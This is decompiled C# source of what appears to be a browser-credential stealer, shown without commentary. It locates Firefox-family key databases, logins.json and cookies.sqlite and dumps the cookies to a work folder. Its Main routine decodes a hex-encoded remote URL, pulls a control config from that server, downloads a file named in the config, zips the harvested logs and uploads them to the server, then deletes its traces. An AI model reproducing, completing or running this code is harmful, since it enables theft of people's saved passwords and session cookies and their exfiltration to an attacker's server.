// Token: 0x06000173 RID: 371 RVA: 0x0000D104 File Offset: 0x0000B304 public static void smethod_2() { if (!Directory.Exists(Dirs.WorkDir + "\\Browsers")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); } List <string> list = new List <string>(); list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName); string string_2 = Class18.smethod_3(fullName); Class18.smethod_1(fullName, string_, string_2); } }
// Token: 0x06000170 RID: 368 RVA: 0x0000CD94 File Offset: 0x0000AF94 public static List <string> smethod_0(string string_3, int int_0 = 4, int int_1 = 1, params string[] files) { List <string> list = new List <string>(); List <string> result; if (files == null || files.Length == 0 || int_1 > int_0) { result = list; } else { try { string[] directories = Directory.GetDirectories(string_3); foreach (string path in directories) { try { DirectoryInfo directoryInfo = new DirectoryInfo(path); FileInfo[] files2 = directoryInfo.GetFiles(); bool flag = false; int num = 0; while (num < files2.Length && !flag) { int num2 = 0; while (num2 < files.Length && !flag) { string a = files[num2]; FileInfo fileInfo = files2[num]; if (a == fileInfo.Name) { flag = true; list.Add(fileInfo.FullName); } num2++; } num++; } foreach (string item in Class18.smethod_0(directoryInfo.FullName, int_0, int_1 + 1, files)) { if (!list.Contains(item)) { list.Add(item); } } } catch { } } result = list; } catch { result = list; } } return(result); }
// Token: 0x06000172 RID: 370 RVA: 0x0000CF58 File Offset: 0x0000B158 public static void Cookies() { if (!Directory.Exists(Dirs.WorkDir + "\\Browsers")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Browsers"); } List <string> list = new List <string>(); list.AddRange(Class18.smethod_0(Class18.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class18.smethod_0(Class18.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class18.string_2) ? Class18.smethod_12(fullName) : Class18.smethod_13(fullName); string string_2 = Class18.smethod_3(fullName); Class18.smethod_6(fullName, string_, string_2); string text2 = ""; foreach (string str in Class18.list_1) { text2 += str; } if (text2 != "") { File.WriteAllText(Dirs.WorkDir + "\\Browsers\\Cookies_Gecko.txt", text2, Encoding.Default); } } }
// Token: 0x06000228 RID: 552 RVA: 0x000111E0 File Offset: 0x0000F3E0 public static int smethod_0(string string_0) { Class18.smethod_0(string_0); Class19.smethod_0(string_0); return(Class20.int_0); }
// Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0 private static void Main(string[] args) { Class9.smethod_0(); Class9.smethod_1(); Class9.smethod_2(); string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ"; byte[] byte_ = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275"); byte[] bytes = Encoding.Default.GetBytes(Class11.smethod_2(string_)); string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_)); byte[] bytes2 = Encoding.Default.GetBytes(@string); GClass9.smethod_0(); Class23.smethod_5(Class23.string_0); GClass9.smethod_1(); string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[] { ',' }); bool flag = false; bool flag2 = false; bool flag3 = false; bool flag4 = false; bool flag5 = false; bool flag6 = false; bool flag7 = false; bool flag8 = false; bool flag9 = false; bool flag10 = false; bool flag11 = false; if (array[12] == "1") { flag8 = true; } if (!flag8) { Class12.smethod_5(); } if (array[0] == "1") { flag = true; } if (array[1] == "1") { flag4 = true; } if (array[2] == "1") { flag5 = true; } if (array[3] == "1") { flag11 = true; } if (array[4] == "1") { flag2 = true; } if (array[5] == "1") { flag6 = true; } if (array[6] == "1") { flag10 = true; } if (array[7] == "1") { flag3 = true; } if (array[10] == "1") { flag9 = true; } if (array[11].StartsWith("http")) { flag7 = true; } if (flag7) { string text = array[11]; string fileName = Path.GetFileName(text); Class20.smethod_0(text, fileName); } if (flag) { Class13.smethod_3(); Class21.smethod_0(); } if (flag5) { Class18.smethod_0(); } if (flag7) { string text2 = array[11]; string fileName2 = Path.GetFileName(text2); Class20.smethod_0(text2, fileName2); } if (flag2) { Class17.smethod_10(); } if (flag6) { Class17.smethod_6(); } if (flag4) { Class15.smethod_0(); Class13.smethod_2(); Class25.smethod_9(); } if (flag11) { Class17.smethod_5(GClass9.string_2); } if (flag3) { foreach (string item in array[8].Split(new char[] { ':' })) { Class17.list_0.Add(item); } Class17.int_0 = Convert.ToInt32(array[9]); Class17.int_0 *= 1024; Class17.smethod_8(); } if (flag10) { Class17.smethod_9(); } Class17.smethod_11(); Class17.smethod_7(); Class23.smethod_0(); Class12.smethod_11(); Class12.smethod_9(); Class12.smethod_10(); Class23.smethod_1(); Class12.smethod_6(); string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip"; try { Class27.smethod_0(); Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0); } catch { } if (flag9) { Class12.smethod_7(); } Class12.smethod_8(); Directory.Delete(GClass9.string_6); }